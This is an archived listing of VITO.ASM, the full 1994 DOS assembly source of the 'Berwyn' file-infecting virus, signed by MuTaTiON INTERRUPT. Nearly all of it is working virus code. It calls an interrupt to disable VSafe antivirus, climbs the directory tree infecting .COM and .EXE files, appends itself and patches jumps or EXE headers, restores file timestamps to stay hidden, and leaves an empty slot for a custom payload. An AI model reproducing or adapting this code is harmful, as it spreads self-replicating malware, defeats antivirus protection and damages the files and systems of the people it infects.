home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / BWUPDAT4.ZIP / BERWYN.ZIP / VITO.ASM < prev   
Encoding:
Assembly Source File  |  1994-09-21  |  11.7 KB  |  380 lines
  1. ; vito.asm : HaVE A BeeR aT CaMP ViTo [BeRWyN]
  2.  
  3. PING            equ     0BA6Ah
  4. INFECT          equ     4
  5. MARKER          equ     0171Ah
  6.  
  7. code            segment
  8.                 org     100h
  9.                 assume  cs:code,ds:code
  10.  
  11. start:
  12.                 db      0E9h,3,0          ; to virus
  13. host:
  14.                 db      0CDh,20h,0        ; host program
  15. virus_begin:
  16.  
  17.                 mov  dx,5945h
  18.                 mov  ax,0FA01h            ;remove vsafe and some others
  19.                 int  21h
  20.  
  21.                 push    ds es
  22.  
  23.                 call    $ + 3             ; BP is instruction ptr.
  24.                 pop     bp
  25.                 sub     bp,offset $ - 1
  26.  
  27.                 push    cs
  28.                 pop     ds
  29.                 lea     dx,[bp + offset new_DTA]
  30.                 mov     ah,1Ah
  31.                 int     21h
  32.  
  33.                 mov     byte ptr [bp + infections],0
  34.  
  35.                 push    [bp + exe_cs]
  36.                 push    [bp + exe_ip]
  37.                 push    [bp + exe_ss]
  38.                 push    [bp + exe_sp]
  39.                 call    traverse
  40.  
  41.                 call    activate
  42.  
  43.                 pop     [bp + exe_sp]
  44.                 pop     [bp + exe_ss]
  45.                 pop     [bp + exe_ip]
  46.                 pop     [bp + exe_cs]
  47.                 pop     es ds
  48.                 mov     dx,80h
  49.                 mov     ah,1Ah
  50.                 int     21h
  51.  
  52.                 cmp     sp,MARKER               ; check for .EXE
  53.                 je      exe_exit
  54.  
  55. com_exit:
  56.                 lea     si,[bp + host]          ; restore host program
  57.                 mov     di,100h
  58.                 push    di
  59.                 movsw
  60.                 movsb
  61.  
  62.                 call    fix_regs                ; fix up registers
  63.                 ret                             ; and leave
  64. exe_exit:
  65.                 mov     ax,ds                   ; fix up return address
  66.                 add     ax,10h
  67.                 push    ax
  68.                 add     ax,cs:[bp + exe_cs]
  69.                 mov     cs:[bp + return_cs],ax
  70.  
  71.                 mov     ax,cs:[bp + exe_ip]
  72.                 mov     cs:[bp + return_ip],ax
  73.  
  74.                 pop     ax
  75.                 add     ax,cs:[bp + exe_ss]        ; restore stack
  76.                 cli
  77.                 mov     ss,ax
  78.                 mov     sp,cs:[bp + exe_sp]
  79.  
  80.                 call    fix_regs                ; fix up registers
  81.                 sti
  82.  
  83.                 db      0EAh                    ; back to host program
  84. return_ip       dw      0
  85. return_cs       dw      0
  86.  
  87. exe_cs          dw      -16                     ; orig CS:IP
  88. exe_ip          dw      103h
  89. exe_sp          dw      -2                      ; orig SS:SP
  90. exe_ss          dw      -16
  91.  
  92. fix_regs:
  93.                 xor     ax,ax
  94.                 cwd
  95.                 xor     bx,bx
  96.                 mov     si,100h
  97.                 xor     di,di
  98.                 xor     bp,bp
  99.                 ret
  100.  
  101.  
  102. traverse:
  103.                 sub     sp,64                   ; allocate stack space
  104.                 mov     si,sp
  105.                 inc     si
  106.                 mov     ah,47h                  ; get current directory
  107.                 xor     dl,dl
  108.                 push    ds
  109.                 push    ss
  110.                 pop     ds
  111.                 int     21h
  112.  
  113.                 pop     ds
  114.                 dec     si
  115.                 mov     byte ptr ss:[si],'\' ; fix directory
  116.  
  117. next_dir:
  118.                 call    infect_dir
  119.  
  120.                 cmp     byte ptr [bp + infections],INFECT
  121.                 je      traverse_done
  122.  
  123.                 lea     dx,[bp + outer]         ; repeat in next dir up
  124.                 mov     ah,3Bh
  125.                 int     21h
  126.                 jnc     next_dir
  127.  
  128. traverse_done:
  129.                 add     sp,64                   ; reset
  130.                 mov     dx,si
  131.                 push    ds
  132.                 push    ss
  133.                 pop     ds
  134.                 mov     ah,3Bh
  135.                 int     21h
  136.                 pop     ds
  137.                 ret
  138.  
  139. infect_dir:
  140.                 mov     ah,4Eh
  141.                 lea     dx,[bp + find_me]
  142.                 int     21h
  143.                 jc      infect_done
  144.  
  145. next_file:
  146.                 lea     dx,[bp + new_DTA + 1Eh]
  147.                 call    file_open
  148.                 cmp     byte ptr [bp + infections],INFECT
  149.                 je      infect_done
  150.                 mov     ah,4Fh
  151.                 int     21h
  152.                 jnc     next_file
  153.  
  154. infect_done:
  155.                 ret
  156.  
  157. file_open:
  158.                 push    ax cx di es
  159.                 call    get_extension
  160.                 cmp     [di],'OC'               ; .COM file?
  161.                 jne     perhaps_exe             ; perhaps .EXE then
  162.                 cmp     byte ptr [di + 2],'M'
  163.                 jne     not_prog
  164.                 jmp     a_program
  165. perhaps_exe:
  166.                 cmp     [di],'XE'               ; .EXE file?
  167.                 jne     not_prog
  168.                 cmp     byte ptr [di + 2],'E'
  169.                 jne     not_prog
  170. a_program:
  171.                 pop     es di cx ax
  172.                 jmp     execute                 ; infect file
  173. not_prog:
  174.                 pop     es di cx ax
  175.                 ret
  176.  
  177. execute:
  178.                 push    si
  179.  
  180.                 call    get_extension           ; check filename
  181.                 cmp     es:[di - 3],'DN'        ; skip if COMMAND
  182.                 jne     open_file
  183.                 jmp     cant_open
  184.  
  185. open_file:
  186.                 xor     ax,ax                   ; critical error handler
  187.                 mov     es,ax                   ; routine - catch int 24
  188.                 lea     ax,[bp + int_24]
  189.                 mov     es:[24h * 4],ax
  190.                 mov     es:[24h * 4 + 2],cs
  191.  
  192.                 mov     ax,4300h                ; change attributes
  193.                 int     21h
  194.  
  195.                 push    cx dx ds
  196.                 xor     cx,cx
  197.                 call    set_attributes
  198.  
  199.                 mov     ax,3D02h                ; open file
  200.                 int     21h
  201.                 jc      cant_open
  202.                 xchg    bx,ax
  203.  
  204.                 mov     ax,5700h                ; save file date/time
  205.                 int     21h
  206.                 push    cx dx
  207.                 mov     ah,3Fh
  208.                 mov     cx,28
  209.                 lea     dx,[bp + read_buffer]
  210.                 int     21h
  211.  
  212.                 cmp     word ptr [bp + read_buffer],'ZM'
  213.                 je      infect_exe              ; yes, infect as .EXE
  214.  
  215.                 mov     al,2                    ; move to end of file
  216.                 call    move_file_ptr
  217.  
  218.                 cmp     dx,65279 - (VIRUS_SIZE + 3)
  219.                 ja      dont_infect             ; too big, don't infect
  220.  
  221.                 sub     dx,VIRUS_SIZE + 3       ; check for previous infection
  222.                 cmp     dx,word ptr [bp + read_buffer + 1]
  223.                 je      dont_infect
  224.  
  225.                 add     dx,VIRUS_SIZE + 3
  226.                 mov     word ptr [bp + new_jump + 1],dx
  227.  
  228.                 lea     dx,[bp + read_buffer]   ; save original program head
  229.                 int     21h
  230.  
  231.                 mov     ah,40h                  ; write virus to file
  232.                 mov     cx,VIRUS_SIZE
  233.                 lea     dx,[bp + virus_begin]
  234.                 int     21h
  235.  
  236.                 xor     al,al                   ; back to beginning of file
  237.                 call    move_file_ptr
  238.  
  239.                 lea     dx,[bp + new_jump]
  240.                 int     21h
  241.  
  242. fix_date_time:
  243.                 pop     dx cx
  244.                 mov     ax,5701h                ; restore file date/time
  245.                 int     21h
  246.  
  247.                 inc     byte ptr [bp + infections]
  248.  
  249. close:
  250.                 pop     ds dx cx                ; restore attributes
  251.                 call    set_attributes
  252.  
  253.                 mov     ah,3Eh                  ; close file
  254.                 int     21h
  255.  
  256. cant_open:
  257.                 pop     si
  258.                 ret
  259.  
  260.  
  261. set_attributes:
  262.                 mov     ax,4301h
  263.                 int     21h
  264.                 ret
  265.  
  266. dont_infect:
  267.                 pop     cx dx                   ; can't infect, skip
  268.                 jmp     close
  269.  
  270. move_file_ptr:
  271.                 mov     ah,42h                  ; move file pointer
  272.                 cwd
  273.                 xor     cx,cx
  274.                 int     21h
  275.  
  276.                 mov     dx,ax                   ; set up registers
  277.                 mov     ah,40h
  278.                 mov     cx,3
  279.                 ret
  280. infect_exe:
  281.                 cmp     word ptr [bp + read_buffer + 26],0
  282.                 jne     dont_infect             ; overlay, don't infect
  283.  
  284.                 cmp     word ptr [bp + read_buffer + 16],MARKER
  285.                 je      dont_infect             ; infected already
  286.  
  287.                 les    ax,dword ptr [bp + read_buffer + 20]
  288.                 mov    [bp + exe_cs],es
  289.                 mov    [bp + exe_ip],ax
  290.                 les    ax,dword ptr [bp + read_buffer + 14]
  291.                 mov    [bp + exe_ss],ax
  292.                 mov    [bp + exe_sp],es
  293.                 mov    word ptr [bp + read_buffer + 16],MARKER
  294.                 mov     ax,4202h                ; to end of file
  295.                 cwd
  296.                 xor     cx,cx
  297.                 int     21h
  298.  
  299.                 push    ax dx                   ; save file size
  300.  
  301.                 push    bx
  302.                 mov     cl,12                   ; calculate offsets for CS
  303.                 shl     dx,cl                   ; and IP
  304.                 mov     bx,ax
  305.                 mov     cl,4
  306.                 shr     bx,cl
  307.                 add     dx,bx
  308.                 and     ax,15
  309.                 pop     bx
  310.  
  311.                 sub    dx,word ptr [bp + read_buffer + 8]
  312.                 mov    word ptr [bp + read_buffer + 22],dx
  313.                 mov    word ptr [bp + read_buffer + 20],ax
  314.                 add    dx,100h
  315.                 mov    word ptr [bp + read_buffer + 14],dx
  316.  
  317.                 pop     dx ax                   ; calculate prog size
  318.  
  319.                 add     ax,VIRUS_SIZE + 3
  320.                 adc     dx,0
  321.                 mov     cx,512                  ; in pages
  322.                 div     cx                      ; then save results
  323.                 inc     ax
  324.                 mov     word ptr [bp + read_buffer + 2],dx
  325.                 mov     word ptr [bp + read_buffer + 4],ax
  326.  
  327.                 mov     ah,40h
  328.                 mov     cx,VIRUS_SIZE + 3
  329.                 lea     dx,[bp + virus_begin]
  330.                 int     21h
  331.  
  332.  
  333.                 mov     ax,4200h                ; back to beginning
  334.                 cwd
  335.                 xor     cx,cx
  336.                 int     21h
  337.  
  338.                 mov     ah,40h                  ; and fix up header
  339.                 mov     cx,28
  340.                 lea     dx,[bp + read_buffer]
  341.                 int     21h
  342.                 jmp     fix_date_time           ; done
  343.  
  344. activate:
  345.        ; Insert your routine here
  346.                 ret
  347.  
  348. courtesy_of     db      '[MuTaTiON INTERRUPT 1994]',0
  349. signature       db      'HaVE A BeeR aT CaMP ViTo [BeRWyN]',0
  350.  
  351. get_extension:
  352.                 push    ds                      ; find extension
  353.                 pop     es
  354.                 mov     di,dx
  355.                 mov     cx,64
  356.                 mov     al,'.'
  357.                 repnz   scasb
  358.                 ret
  359.  
  360. find_me         db      '*.*',0
  361. outer           db      '..',0
  362.  
  363. int_24:
  364.                 mov     al,3                    ; int 24 handler
  365.                 iret
  366. new_jump        db      0E9h,0,0
  367.  
  368. infections      db      0
  369. virus_end:
  370. VIRUS_SIZE      equ     virus_end - virus_begin
  371. read_buffer     db      28 dup (?)              ; read buffer
  372. new_DTA         db      128 dup(?)
  373.  
  374. end_heap:
  375.  
  376. MEM_SIZE        equ     end_heap - start
  377.  
  378. code            ends
  379.                 end     start
  380.